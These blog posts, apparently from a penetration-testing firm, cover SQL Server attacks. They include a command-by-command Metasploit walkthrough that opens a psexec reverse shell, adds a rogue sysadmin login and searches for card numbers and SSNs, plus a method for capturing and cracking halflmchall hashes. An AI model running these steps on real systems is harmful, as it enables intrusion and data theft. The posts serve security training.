Back

SQL Server Local Authorization Bypass MSF Modules

In Microsoft SQL Server versions prior to 2008, local operating system admins where automatically assigned database admin privileges. Microsoft eventually came to the conclusion that this was a bad idea, and now local operating system administrators don’t automatically get database admin privileges. However, there are a few weaknesses in the implementation that allow the local administrators to bypass the current controls and (you guessed it) obtain database admin privileges. If you’re interested in the details I recommend reading my previous blog here. In this blog I’ll be providing a practical example that shows how the new Metasploit post module I created can be used to gain unauthorized access to SQL Server data.

Summary of Steps

  1. Obtain a Meterpreter shell
  2. Create a syadmin login
  3. Log into SQL Server
  4. Search for sensitive data
  5. Remove the sysadmin login

Obtain a Meterpreter Shell

There are many ways to get a Meterpreter shell, but in the example below I’ve used psexec.

root@bt:# msfconsole
msf> use exploit/windows/smb/psexec
msf> set SMBUSER eviladmin
msf> set SMBPASS MyOSadminpw!
msf> set SMBDOMAIN .
msf> set RHOST 192.168.1.100
msf exploit(psexec) > exploit
[*] Started reverse handler on 192.168.30.134:4444
[*] Connecting to the server...
[*] Authenticating to 192.168.1.100:445 as user 'eviladmin'...
[*] Uploading payload...
[*] Created srWVzGiR.exe...
[*] Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.1.100[svcctl] ...
[*] Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.1.100[svcctl] ...
[*] Obtaining a service manager handle...
[*] Creating a new service (HxjIGKLw - "MUmzqsreRIMABBqEIFRdqfUv")...
[*] Closing service handle...
[*] Opening service...
[*] Starting the service...
[*] Removing the service...
[*] Closing service handle...
[*] Deleting srWVzGiR.exe...
[*] Sending stage (752128 bytes) to 192.168.1.100
[*] Meterpreter session 1 opened (192.168.30.134:4444 -> 192.168.1.100:1028)
meterpreter >

Create a Sysadmin Login

Below is an example of how to configure and run the “mssql_local_auth_bypass” Metasploit module from the existing Meterpreter session to add a new sysadmin login.

meterpreter > background
msf exploit(psexec) > use post/windows/manage/mssql_local_auth_bypass
msf post(mssql_local_auth_bypass) > set DB_USERNAME MyNewSysadmin
DB_USERNAME => MyNewSysadmin
msf post(mssql_local_auth_bypass) > set DB_PASSWORD MyHardP@$$w0rd
DB_PASSWORD => mMyHardP@$$w0rd
msf post(mssql_local_auth_bypass) > set SESSION 1
msf post(mssql_local_auth_bypass) > exploit
[*] Running module against LVA
[*] Checking if user is SYSTEM...
[+] User is SYSTEM
[*] Checking for SQL Server...
[+] SQL Server instance found: MSSQLSERVER
[*] Checking for native client...
[+] OSQL client was found
[*] Attempting to add new login MyNewSysadmin...
[+] Successfully added login "MyNewSysadmin" with password "MyHardP@$$w0rd"
[*] Attempting to make MyNewSysadmin login a sysadmin...
[+] Successfully added "MyNewSysadmin" to sysadmin role
[*] Post module execution completed
msf post(mssql_local_auth_bypass) >

Here is a video example showing how to create a SQL login with sysadmin privileges using the new module:

Log into SQL Server

Below is a basic example of how to log into an SQL Server with the new sysadmin login:
Scott_S_SQL_Server_Bypass_1

Verifying with SQL Management Studio Express that we have sysadmin privileges:
Scott_S_SQL_Server_Bypass_2

Search for Sensitive Data

With a little guidance from the community I was also able to put together another Metasploit module a while ago for finding sensitive data on SQL Servers. Below is a basic example of using our new sysadmin login to search for data on a database server. Key features of this module include searching based on keywords, setting a sample size, and exporting the results to a CSV file for auditing for easy bedtime reading.  I typically use it for finding credit cards, social security numbers, and passwords in SQL Server databases.  If you are interested in learning more about PCI specific stuff Chris wrote a nice blog here.

root@bt:# msfconsole
msf> use auxiliary/windows/mssql/admin/mssql_findandsampledata
msf> auxiliary(mssql_findandsampledata) > set PASSWORD MyHardP@$$w0rd
PASSWORD => superpassword
msf auxiliary(mssql_findandsampledata) > set USERNAME MyNewSysadmin
USERNAME => superadmin
msf auxiliary(mssql_findandsampledata) > set SAMPLE_SIZE 5
SAMPLE_SIZE => 5
msf auxiliary(mssql_findandsampledata) > set RHOSTS 192.168.1.100
RHOSTS => 192.168.30.131
msf auxiliary(mssql_findandsampledata) > exploit
[*] Attempting to connect to the SQL Server at 192.168.1.100...
[*] Successfully connected to 192.168.1.100:1433
[*] Attempting to retrieve data ...

Here is a video example showing how to find sensitive data with the module:

Remove Sysadmin Login

Below is an example of how to remove the account when you’re finished searching for sensitive data.

msf post(mssql_local_auth_bypass) > set DB_USERNAME MyNewSysadmin
DB_USERNAME => MyNewSysadmin
msf post(mssql_local_auth_bypass) > set REMOVE_LOGIN true
REMOVE_LOGIN => true
msf post(mssql_local_auth_bypass) > exploit
[*] Running module against LVA
[*] Checking if user is SYSTEM...
[+] User is SYSTEM
[*] Checking for SQL Server...
[+] SQL Server instance found: MSSQLSERVER
[*] Checking for native client...
[+] OSQL client was found
[*] Attempting to remove login "MyNewSysadmin"
[+] Successfully removed login "MyNewSysadmin"
[*] Post module execution completed
msf post(mssql_local_auth_bypass) >

Here is a video example showing how to remove the sysadmin login with the module when your done:

Wrap Up

Hopefully the new auth bypass and the data scraping modules are helpful to someone. Both of them were accepted into the main Metasploit trunk so you should be able to simply update Metasploit to get them. If anyone has questions or comments, let me know. In the meantime, have fun and hack responsibly!

Back

Compliance Impact of Virtual Artifacts

Physical artifacts are amazing little (okay sometimes big) things that give us insight into how earlier civilizations lived, worked, and played. These rediscovered relics provide such useful information that we wouldn’t otherwise have about such time-frames and people. Virtual artifacts are rather similar, just less tangible. Virtual artifacts run the gamut from computer generated artwork, photographs of family, and other critical files denoting and cataloging our (virtual) lives. However, they also include forgotten or discarded files that were never deleted (of course the true digital archaeologist knows how to dig even deeper to get files not securely deleted). As such, virtual artifacts provide keen insight into a system and the system’s owner. Including such files that we probably would have preferred never to see the light of day again. So why should we concern ourselves with these little remnants in our organization’s computer systems? The obvious concern is that of hackers (both internal and external). Virtual artifacts can affect your compliance efforts even without hackers as part of the equation. Depending upon the quantity of information stored in the files (such as data dumps from databases, debug logs, etc.) you may face some potential breach notification issues with significant consequences. These may also undermine all the scoping efforts performed to date, specifically relating to PCI. If those files remain on a file server that is discovered during an assessment, your cardholder data just ballooned beyond the comfort level. During ISO reviews, these artifacts may be as helpful as a hostile witness to your (re)certification case. Alongside these are internal policy violations which may compromise sensitive internal information (employee information such as payroll, etc.). So how do we combat these virtual artifacts within our organization? In essence, where do we start to dig within our virtual landscape? As unfavorable as it may seem, you start at the system most likely to contain such files and just keep going. There are tools that can help automate this process. First think like an attacker; NetSPI’s Assessment Team does just that during penetration tests. They look for unprotected and residual data (the files that are just “left out there”); this includes sensitive data (PII, PHI, cardholder data, passwords, etc.) through generic file system searches. While not overly glamorous, sometimes the simplest method is the best. Then they scour multiple systems at once through spider or crawler tools, and even look at databases and their output. Speaking of, Scott Sutherland has a new blog post that includes finding potentially sensitive information within SQL databases. They find where programmers are leaving their specific output files, debug logs, etc. Sometimes the most nondescript system can have that file you don’t want to see the light of day. So how often should you be performing these internal reviews? It partly depends on your organization’s propensity to leave virtual golden idols lying around and how effective your defenses / controls are. If movies have taught us anything is that the truly daring individual can overcome most controls if the gains are substantial enough.   The best defense is to have guidelines for employees (especially those in positions that generate, or even have the ability to generate) to securely delete files no longer needed (i.e., don’t store the golden idols on pedestals where the sunlight gleams off them like a beacon). For a more realistic example, an application owner or custodian should ensure that their application’s logs that include sensitive information are properly secured behind active access controls, temporary logs are immediately deleted when no longer needed, and the passwords to the system are secured (encrypted), etc. Some may respond and say that the Data Loss Prevention (DLP) tool will catch these, so we are good to go. However some organizations implement a DLP tool focusing on one aspect only (Network, Storage, or End-Point). Each of these components can be overcome through various means. Blowguns (Storage controls), weight-monitoring pedestals (End-Point controls), and giant boulders closing the opening (Network controls) can be all be bypassed by careful and skilled virtual archaeologists. It’s not uncommon for a found stray file to compromise an organization’s compliance efforts. By reviewing your environment proactively you also help make the case that your organization is performed the necessary due diligence should an incident occur. But then the point is to find those files first, leaving nothing for the tomb raiders.

Back

Automating HalfLMChall Hash Cracking

Frequently during penetration tests, we will capture halflmchall password hashes from the network. These can come from a variety of sources, but common sources include NBNS spoofing and SQL queries/SQL injection. Both methods can be easy ways to get halflmchall hashes during a pen test.

For those who are unfamiliar with halflmchall hashes and how they are created, the process is pretty simple. When a client makes an authentication request with a server, the server responds with a challenge (which is basically a seed value used for hashing) for the client to use. If we are acting as the server, we can specify the challenge and the authentication protocol that we want to use. If we have a static challenge (1122334455667788) and a weak authentication protocol (LANMAN v1), we’re able to quickly look up the captured hashes in rainbow tables. Now, this isn’t the full technical detail of the process, but hopefully this gives you a good idea as to how this can work to our advantage.

For a much more in-depth review of the process, here’s a great write up  – https://www.foofus.net/?page_id=63 The typical capture to cracked password process goes like this:

  1. Obtain a man-in-the-middle position, or force a server to authenticate to your evil server.
  2. Capture the hash (via SMB or HTTP servers).
  3. Look up the first 16 characters of the captured LM hash in the HalfLMChall rainbow tables.
  4. Use the cracked portion of the LM hash to feed into the John the Ripper netntlm.pl script to crack the rest of the LM hash.
  5. Feed the case insensitive password (from step 3) back into the netntlm.pl script to crack the case sensitive NTLM hash and get the full password.

The cracking process goes pretty quickly, but it does require multiple commands to  run that includes some copy and paste work. I’ve found that this process takes up more of my time than I would like, so I wrote a PowerShell script to automate the whole cracking process.

PowerShell cracking script requirements:

  1. The halflmchall rainbow tables
  2. Rcracki_mt
  3. John the Ripper (Jumbo release)
  4. Perl (required to run netntlm.pl)
  5. You will also need to enable PowerShell to run scripts: “Set-ExecutionPolicy RemoteSigned”

Within the script you will have to specify your John, rcrack, Perl, and rainbow table locations, but you should be able to run the script from any directory.

The script usage is simple:

PS_MultiCrack.ps1 Input_File Output_File

You should be able to use the john formatted output file generated from the metasploit modules, but below is the basic format that the script will require:

DomainUser:::LMHASH:NTLMHASH:1122334455667788
ExampleTestAdmin:::daf4ce8f1965961138e76ee328e595e0c0c2d9a83fbe83fb:211af68207f7c88a1ad6c103a56966d1da1c1e91f02291f0:1122334455667788

The “1122334455667788” is the default static salt that is used by most of the tools used for capturing the hashes. It’s also the salt used by the rainbow tables (Download here).

The script will write out each username and password to the output file when it’s done. Hashes that are already in the john.pot file will be prefixed in your output file as “Previously Cracked:” so that you don’t have to worry about cleaning out your input file as you add more hashes. Additionally, the script won’t go through the effort of cracking the same hash again, as that would be a waste of time.

If you have any comments, suggestions, issues, please let me know through here or GitHub and I’ll try to address them.

GitHub Repo

Back

OWASP AppSec 2012 Presentation: SQL Server Exploitation, Escalation, and Pilfering

Antti and I had a great time presenting “SQL Server Exploitation, Escalation, and Pilfering” at the OWASP AppSec 2012 conference in Austin a few weeks ago. Thank you to everyone who came out. The attendance and feedback were very much appreciated. For those of you who couldn’t make it, we’ve put together this blog to provide access to the presentation slides, Metasploit modules, and demo videos we released at the conference.  Also, we’ll be presenting it as a webinar on November 15, 2012.  You should be able sign up on the NetSPI website if you’re interested. I would also like to call out that there were quite a few great talks at the conference. It sounds like the videos will be released in a few weeks. My guess is that they will let people know via www.appsecusa.org or the appsecusa Twitter feed. I recommend checking them out.

Presentation Summary and Slides

Below is a summary description our presentation slide deck. If you’re interested in downloading it you can grab it from here or you can view it on Slideshare. During this presentation attendees will be introduced to lesser known, yet significant vulnerabilities in SQL Server implementations related to common trust relationships, misconfigurations, and weak default settings. The issues that will be covered are often leveraged by attackers to gain unauthorized access to high value systems, applications, and sensitive data. An overview of each issue, common vectors of attack, and manual techniques will be covered. Finally newly created Metasploit modules and TSQL scripts will be demonstrated that help automate the attacks. This presentation will be valuable to penetration testers who are looking for faster ways to gain access to critical data and systems. Additionally, it should be worth while for developers and database administrators who are interested in gaining a better understanding of how to protect their applications and databases from these attacks.

Metasploit Modules, Scripts, and Videos Released

  1. Microsoft SQL Server Authorization Bypass
    1. Metasploit Module (currently in Metasploit)
    2. Video Demo
  2. Microsoft SQL Server – Find and Sample Data
    1. Metasploit Module (currently in Metasploit)
    2. Original TSQL Script
    3. Video Demo
  3. Microsoft SQL Server NTLM Stealer
    1. Metasploit Module (currently in Metasploit)
  4. Microsoft SQL Server NTLM Stealer SQLi
    1. Metasploit Module (currently in Metasploit)
    2. Video Demo
  5. Microsoft SQL Database Link Crawler
    1. Metasploit Module (Submitted to Metasploit)
  6. Microsoft SQL Database Link Crawler SQLi
    1. Metasploit Module Download (Submitted to Metasploit)
    2. Video Demo
  7. Microsoft SQL Shared Services Script
    1. TSQL Script Download

Wrap Up

Eventually Antti and I will provide more detailed blogs for each of the attacks we included in the presentation.  My hope is that we’ll also find the time to write some data scraper modules for database links. If anyone has any questions, comments, or corrections please feel free to contact me.   In mean time, have fun and hack responsibly.

Discover why security operations teams choose NetSPI.

X